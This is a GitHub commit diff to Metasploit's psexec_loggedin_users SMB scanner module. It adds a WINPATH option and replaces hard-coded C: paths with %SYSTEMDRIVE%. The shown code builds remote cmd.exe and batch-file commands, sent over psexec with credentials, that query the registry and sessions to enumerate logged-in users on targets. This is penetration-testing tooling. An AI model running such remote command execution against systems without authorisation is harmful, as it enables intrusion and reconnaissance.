Skip to content

Commit 461f057

Browse files
author
jvazquez-r7
committed
Merge branch 'loggedin_users' of https://github.com/R3dy/metasploit-framework into R3dy-loggedin_users
2 parents 44633c4 + 97c9dd0 commit 461f057

File tree

1 file changed

+10
-9
lines changed

1 file changed

+10
-9
lines changed

modules/auxiliary/scanner/smb/psexec_loggedin_users.rb

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@ def initialize
4040
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
4141
OptString.new('USERNAME', [false, 'The name of a specific user to search for', '']),
4242
OptString.new('RPORT', [true, 'The Target port', 445]),
43+
OptString.new('WINPATH', [true, 'The name of the Windows directory', 'WINDOWS']),
4344
], self.class)
4445

4546
deregister_options('RHOST')
@@ -51,9 +52,9 @@ def peer
5152

5253
# This is the main controller function
5354
def run_host(ip)
54-
cmd = "C:\\WINDOWS\\SYSTEM32\\cmd.exe"
55-
bat = "C:\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
56-
text = "\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
55+
cmd = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\SYSTEM32\\cmd.exe"
56+
bat = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
57+
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
5758
smbshare = datastore['SMBSHARE']
5859

5960
#Try and authenticate with given credentials
@@ -83,7 +84,7 @@ def run_host(ip)
8384
def get_hku(ip, smbshare, cmd, text, bat)
8485
begin
8586
# Try and query HKU
86-
command = "#{cmd} /C echo reg.exe QUERY HKU ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
87+
command = "#{cmd} /C echo reg.exe QUERY HKU ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
8788
out = psexec(command)
8889
output = get_output(ip, smbshare, text)
8990
cleanout = Array.new
@@ -127,7 +128,7 @@ def report_user(username)
127128
def check_hku_entry(key, ip, smbshare, cmd, text, bat)
128129
begin
129130
key = key.split("HKEY_USERS\\")[1].chomp
130-
command = "#{cmd} /C echo reg.exe QUERY \"HKU\\#{key}\\Volatile Environment\" ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
131+
command = "#{cmd} /C echo reg.exe QUERY \"HKU\\#{key}\\Volatile Environment\" ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
131132
out = psexec(command)
132133
if output = get_output(ip, smbshare, text)
133134
domain, username, dnsdomain, homepath, logonserver = "","","","",""
@@ -180,16 +181,16 @@ def check_hku_entry(key, ip, smbshare, cmd, text, bat)
180181
end
181182
end
182183

183-
# Cleanup module. Gets rid of .txt and .bat files created in the WINDOWS\Temp directory
184+
# Cleanup module. Gets rid of .txt and .bat files created in the #{datastore['WINPATH']}\Temp directory
184185
def cleanup_after(cmd, text, bat)
185186
begin
186187
# Try and do cleanup command
187-
cleanup = "#{cmd} /C del C:#{text} & del #{bat}"
188+
cleanup = "#{cmd} /C del %SYSTEMDRIVE%#{text} & del #{bat}"
188189
print_status("#{peer} - Executing cleanup")
189190
out = psexec(cleanup)
190191
rescue StandardError => cleanuperror
191192
print_error("#{peer} - Unable to processes cleanup commands: #{cleanuperror}")
192-
print_warning("#{peer} - Maybe C:#{text} must be deleted manually")
193+
print_warning("#{peer} - Maybe %SYSTEMDRIVE%#{text} must be deleted manually")
193194
print_warning("#{peer} - Maybe #{bat} must be deleted manually")
194195
return cleanuperror
195196
end
@@ -198,7 +199,7 @@ def cleanup_after(cmd, text, bat)
198199
# Method trys to use "query session" to determine logged in user
199200
def query_session(smbshare, ip, cmd, text, bat)
200201
begin
201-
command = "#{cmd} /C echo query session ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
202+
command = "#{cmd} /C echo query session ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
202203
out = psexec(command)
203204
userline = ""
204205
if output = get_output(ip, smbshare, text)

0 commit comments

Comments
 (0)